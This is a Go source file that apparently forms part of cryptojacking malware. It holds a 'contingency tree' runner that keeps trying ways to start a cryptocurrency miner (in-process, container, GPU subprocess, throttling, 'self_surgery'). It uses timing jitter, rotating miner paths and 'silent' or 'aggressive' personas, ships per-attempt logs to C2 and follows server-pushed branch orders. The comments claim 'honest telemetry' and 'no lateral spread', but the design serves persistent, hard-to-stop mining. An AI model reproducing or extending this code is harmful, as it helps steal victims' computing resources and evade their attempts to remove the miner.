package miner import ( "context" "crypto/rand" "encoding/binary" "errors" "math" "sync" "time" ) // Contingency branch identifiers — honest telemetry labels for operator Seer feed. type ContingencyBranch string const ( BranchInProcess ContingencyBranch = "inprocess" BranchContainer ContingencyBranch = "container" BranchGPUSubprocess ContingencyBranch = "gpu_subprocess" BranchIdleTune ContingencyBranch = "idle_tune" BranchSelfSurgery ContingencyBranch = "self_surgery" ) // DefaultContingencyBranchOrder is the canonical single-host contingency walk. var DefaultContingencyBranchOrder = []ContingencyBranch{ BranchInProcess, BranchContainer, BranchGPUSubprocess, BranchIdleTune, BranchSelfSurgery, } // OnionMinerHop is one layer in the contingency onion log shipped to C2. type OnionMinerHop struct { HopIndex int `json:"hop_index"` BranchID string `json:"branch_id"` Persona string `json:"persona,omitempty"` Method string `json:"method"` Outcome string `json:"outcome"` Hashrate float64 `json:"hashrate"` IsGhost bool `json:"is_ghost,omitempty"` Timestamp string `json:"ts"` Detail string `json:"detail,omitempty"` } // ContingencyPolicy is server-pulled discipline for the local contingency tree. type ContingencyPolicy struct { Enabled bool `json:"enabled"` BranchOrder []string `json:"branch_order,omitempty"` Personas []string `json:"personas,omitempty"` HospiceAfter int `json:"hospice_after,omitempty"` JitterMs int `json:"jitter_ms,omitempty"` RotatePaths bool `json:"rotate_paths,omitempty"` } // ContingencyBranchParams is a server push after exhaustion or court verdict. type ContingencyBranchParams struct { BranchOrder []string `json:"branch_order,omitempty"` Persona string `json:"persona,omitempty"` SkipMethods []string `json:"skip_methods,omitempty"` ForceMethod string `json:"force_method,omitempty"` Reason string `json:"reason,omitempty"` } // BranchAttemptHooks wire agent-specific start/stop without importing client. type BranchAttemptHooks struct { StartInProcess func() error StartContainer func() error StartGPU func() error ApplyIdleTune func() error ApplySurgery func(skip []string, force string) error StopAll func() Hashrate func() float64 PoolActive func() bool AcquirePool func() bool ReleasePool func() } // OnionLogReporter ships onion_miner_log frames to C2. type OnionLogReporter func(hop OnionMinerHop, depth int, exhausted bool) // ContingencyTreeRunner executes the ordered contingency tree with optional ghost personas. type ContingencyTreeRunner struct { mu sync.Mutex policy ContingencyPolicy branchOrder []ContingencyBranch personas []string hooks BranchAttemptHooks report OnionLogReporter hops []OnionMinerHop hopIndex int frozenWinner string frozenMethod ContingencyBranch exhaustCycles int hospiceRetired bool operatorPaused bool skipMethods map[string]bool forceMethod ContingencyBranch pendingParams *ContingencyBranchParams } // NewContingencyTreeRunner builds a runner from server policy and hooks. func NewContingencyTreeRunner(policy ContingencyPolicy, hooks BranchAttemptHooks, report OnionLogReporter) *ContingencyTreeRunner { r := &ContingencyTreeRunner{ policy: NormalizeContingencyPolicy(policy), hooks: hooks, report: report, skipMethods: make(map[string]bool), } r.branchOrder = r.policyBranchOrder() r.personas = append([]string(nil), r.policy.Personas...) return r } // NormalizeContingencyPolicy fills defaults for zero-config server pull. func NormalizeContingencyPolicy(p ContingencyPolicy) ContingencyPolicy { if len(p.BranchOrder) == 0 { p.BranchOrder = branchesToStrings(DefaultContingencyBranchOrder) } if len(p.Personas) == 0 { p.Personas = []string{"balanced", "silent", "aggressive"} } if p.HospiceAfter <= 0 { p.HospiceAfter = 12 } if p.JitterMs <= 0 { p.JitterMs = 750 } return p } func branchesToStrings(in []ContingencyBranch) []string { out := make([]string, len(in)) for i, b := range in { out[i] = string(b) } return out } func (r *ContingencyTreeRunner) policyBranchOrder() []ContingencyBranch { raw := r.policy.BranchOrder if len(raw) == 0 { return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) } out := make([]ContingencyBranch, 0, len(raw)) for _, s := range raw { b := ContingencyBranch(s) if b == "" { continue } out = append(out, b) } if len(out) == 0 { return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) } return out } // Depth returns the number of onion hops logged this strain cycle. func (r *ContingencyTreeRunner) Depth() int { r.mu.Lock() defer r.mu.Unlock() return len(r.hops) } // Frozen returns whether a winning branch is frozen. func (r *ContingencyTreeRunner) Frozen() (method ContingencyBranch, ok bool) { r.mu.Lock() defer r.mu.Unlock() if r.frozenMethod == "" { return "", false } return r.frozenMethod, true } // Hops returns a copy of the onion log. func (r *ContingencyTreeRunner) Hops() []OnionMinerHop { r.mu.Lock() defer r.mu.Unlock() out := make([]OnionMinerHop, len(r.hops)) copy(out, r.hops) return out } // SetOperatorPaused stops the tree until cleared (operator pause command). func (r *ContingencyTreeRunner) SetOperatorPaused(paused bool) { r.mu.Lock() r.operatorPaused = paused r.mu.Unlock() } // ApplyBranchParams merges a server/court push and clears exhaustion hospice counter. func (r *ContingencyTreeRunner) ApplyBranchParams(p ContingencyBranchParams) { r.mu.Lock() defer r.mu.Unlock() if len(p.BranchOrder) > 0 { r.branchOrder = parseBranchOrder(p.BranchOrder) } if p.Persona != "" { r.personas = []string{p.Persona} } r.skipMethods = make(map[string]bool) for _, s := range p.SkipMethods { r.skipMethods[s] = true } if p.ForceMethod != "" { r.forceMethod = ContingencyBranch(p.ForceMethod) } r.pendingParams = nil r.exhaustCycles = 0 } func parseBranchOrder(raw []string) []ContingencyBranch { out := make([]ContingencyBranch, 0, len(raw)) for _, s := range raw { if b := ContingencyBranch(s); b != "" { out = append(out, b) } } if len(out) == 0 { return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) } return out } // MutateBranchOrderForPersona applies contingency discipline — honest label in Seer detail. func MutateBranchOrderForPersona(base []ContingencyBranch, persona string, rotate bool) []ContingencyBranch { order := append([]ContingencyBranch(nil), base...) switch persona { case "aggressive": order = promoteBranch(order, BranchGPUSubprocess) order = promoteBranch(order, BranchInProcess) case "silent": order = promoteBranch(order, BranchContainer) order = demoteBranch(order, BranchGPUSubprocess) case "passive": order = promoteBranch(order, BranchIdleTune) case "persuasive": order = promoteBranch(order, BranchContainer) order = promoteBranch(order, BranchSelfSurgery) } if rotate { order = rotateBranchOrder(order, personaRotationSeed(persona)) } return order } func promoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch { idx := -1 for i, b := range order { if b == target { idx = i break } } if idx <= 0 { return order } out := append([]ContingencyBranch{target}, order[:idx]...) out = append(out, order[idx+1:]...) return out } func demoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch { idx := -1 for i, b := range order { if b == target { idx = i break } } if idx < 0 || idx == len(order)-1 { return order } out := append([]ContingencyBranch(nil), order[:idx]...) out = append(out, order[idx+1:]...) out = append(out, target) return out } func rotateBranchOrder(order []ContingencyBranch, seed uint32) []ContingencyBranch { if len(order) < 2 { return order } shift := int(seed % uint32(len(order))) out := append([]ContingencyBranch(nil), order[shift:]...) out = append(out, order[:shift]...) return out } func personaRotationSeed(persona string) uint32 { var h uint32 for i := 0; i < len(persona); i++ { h = h*31 + uint32(persona[i]) } return h } // Run executes the contingency tree until win, hospice, or operator pause. func (r *ContingencyTreeRunner) Run(ctx context.Context) { for { select { case <-ctx.Done(): return default: } r.mu.Lock() if r.operatorPaused || r.hospiceRetired { r.mu.Unlock() return } if r.frozenMethod != "" { r.mu.Unlock() return } r.mu.Unlock() if r.runPass(ctx) { return } r.mu.Lock() r.exhaustCycles++ exhausted := r.exhaustCycles >= r.policy.HospiceAfter if exhausted { r.hospiceRetired = true } cycles := r.exhaustCycles r.mu.Unlock() r.emitHop(OnionMinerHop{ Method: "contingency_tree", Outcome: "exhausted", Detail: "full branch pass exhausted — awaiting court/AI branch params or hospice", }, cycles, true) if exhausted { r.emitHop(OnionMinerHop{ Method: "hospice", Outcome: "strain_retired", Detail: "contingency discipline: strain retired after max exhaustion cycles", }, cycles, true) return } select { case <-ctx.Done(): return case <-time.After(r.jitterDuration()): } } } func (r *ContingencyTreeRunner) runPass(ctx context.Context) bool { r.mu.Lock() baseOrder := append([]ContingencyBranch(nil), r.branchOrder...) personas := append([]string(nil), r.personas...) force := r.forceMethod skips := make(map[string]bool, len(r.skipMethods)) for k, v := range r.skipMethods { skips[k] = v } r.mu.Unlock() if force != "" { return r.tryBranch(ctx, force, "canonical", "", false) } type ghostResult struct { won bool method ContingencyBranch } results := make(chan ghostResult, len(personas)+1) // Canonical branch walk (holds pool). go func() { for _, branch := range baseOrder { if skips[string(branch)] { continue } if r.tryBranch(ctx, branch, "canonical", "", false) { results <- ghostResult{won: true, method: branch} return } } results <- ghostResult{} }() // Ghost persona probes — no double pool. for _, persona := range personas { persona := persona order := MutateBranchOrderForPersona(baseOrder, persona, r.policy.RotatePaths) go func() { for _, branch := range order { if skips[string(branch)] { continue } if r.tryBranch(ctx, branch, persona, persona, true) { results <- ghostResult{won: true, method: branch} return } } results <- ghostResult{} }() } won := false for i := 0; i < len(personas)+1; i++ { select { case <-ctx.Done(): return true case res := <-results: if res.won { won = true } } } return won } func (r *ContingencyTreeRunner) tryBranch(ctx context.Context, branch ContingencyBranch, branchID, persona string, ghost bool) bool { select { case <-ctx.Done(): return false default: } if ghost { if r.hooks.PoolActive != nil && r.hooks.PoolActive() { r.emitHop(OnionMinerHop{ BranchID: branchID, Persona: persona, Method: string(branch), Outcome: "ghost_skipped", IsGhost: true, Detail: "contingency discipline: ghost deferred — canonical holds pool", }, r.Depth(), false) return false } } else if r.hooks.AcquirePool != nil && !r.hooks.AcquirePool() { return false } r.jitterWait(ctx) hrBefore := r.snapshotHashrate() r.emitHop(OnionMinerHop{ BranchID: branchID, Persona: persona, Method: string(branch), Outcome: "trying", Hashrate: hrBefore, IsGhost: ghost, Detail: r.branchDetail(branch, ghost), }, r.Depth(), false) err := r.executeBranch(branch) hrAfter := r.snapshotHashrate() won := err == nil && hrAfter > 0 outcome := "lost" if won { outcome = "won" if ghost { outcome = "ghost_won" } } else if ghost { outcome = "ghost_lost" } detail := "" if err != nil { detail = err.Error() } r.emitHop(OnionMinerHop{ BranchID: branchID, Persona: persona, Method: string(branch), Outcome: outcome, Hashrate: hrAfter, IsGhost: ghost, Detail: detail, }, r.Depth(), false) if !ghost && r.hooks.ReleasePool != nil { r.hooks.ReleasePool() } if won && !ghost { r.mu.Lock() r.frozenWinner = branchID r.frozenMethod = branch r.mu.Unlock() return true } if won && ghost { // Ghost win promotes method but canonical must acquire pool on next pass. r.mu.Lock() r.forceMethod = branch r.mu.Unlock() return true } if !ghost && r.hooks.StopAll != nil { r.hooks.StopAll() } return false } func (r *ContingencyTreeRunner) branchDetail(branch ContingencyBranch, ghost bool) string { label := "contingency discipline" if ghost { label += " · local persona fork (no lateral spread)" } switch branch { case BranchIdleTune: return label + " · idle_tune: thread/throttle backoff before retry" case BranchSelfSurgery: return label + " · self_surgery: epidemiology skip/force hooks" default: return label + " · rotate miner path with timing jitter" } } func (r *ContingencyTreeRunner) executeBranch(branch ContingencyBranch) error { switch branch { case BranchInProcess: if r.hooks.StartInProcess == nil { return ErrMethodUnavailable } return r.hooks.StartInProcess() case BranchContainer: if r.hooks.StartContainer == nil { return ErrMethodUnavailable } return r.hooks.StartContainer() case BranchGPUSubprocess: if r.hooks.StartGPU == nil { return ErrMethodUnavailable } return r.hooks.StartGPU() case BranchIdleTune: if r.hooks.ApplyIdleTune == nil { return errors.New("idle_tune hook unavailable") } return r.hooks.ApplyIdleTune() case BranchSelfSurgery: if r.hooks.ApplySurgery == nil { return errors.New("self_surgery hook unavailable") } r.mu.Lock() skips := make([]string, 0, len(r.skipMethods)) for s := range r.skipMethods { skips = append(skips, s) } force := string(r.forceMethod) r.mu.Unlock() return r.hooks.ApplySurgery(skips, force) default: return ErrMethodUnavailable } } func (r *ContingencyTreeRunner) snapshotHashrate() float64 { if r.hooks.Hashrate == nil { return 0 } return r.hooks.Hashrate() } func (r *ContingencyTreeRunner) jitterWait(ctx context.Context) { d := r.jitterDuration() if d <= 0 { return } select { case <-ctx.Done(): case <-time.After(d): } } func (r *ContingencyTreeRunner) jitterDuration() time.Duration { r.mu.Lock() base := r.policy.JitterMs r.mu.Unlock() if base <= 0 { return 0 } var buf [8]byte _, _ = rand.Read(buf[:]) n := binary.LittleEndian.Uint64(buf[:]) % uint64(base+1) return time.Duration(base/2+int(n)) * time.Millisecond } func (r *ContingencyTreeRunner) emitHop(hop OnionMinerHop, depth int, exhausted bool) { r.mu.Lock() r.hopIndex++ hop.HopIndex = r.hopIndex if hop.Timestamp == "" { hop.Timestamp = time.Now().UTC().Format(time.RFC3339) } r.hops = append(r.hops, hop) depth = len(r.hops) report := r.report r.mu.Unlock() if report != nil { report(hop, depth, exhausted) } } // PoolGate serializes pool activation across canonical and ghost branches. type PoolGate struct { mu sync.Mutex held bool holder string } func NewPoolGate() *PoolGate { return &PoolGate{} } func (g *PoolGate) Active() bool { g.mu.Lock() defer g.mu.Unlock() return g.held } func (g *PoolGate) Acquire(id string) bool { g.mu.Lock() defer g.mu.Unlock() if g.held && g.holder != id { return false } g.held = true g.holder = id return true } func (g *PoolGate) Release(id string) { g.mu.Lock() defer g.mu.Unlock() if g.holder == id { g.held = false g.holder = "" } } // MinHashrateWin is the minimum H/s to treat a branch as linked. const MinHashrateWin = 0.5 // BranchWon reports whether hashrate satisfies a win threshold. func BranchWon(hashrate float64) bool { return hashrate >= MinHashrateWin && !math.IsNaN(hashrate) }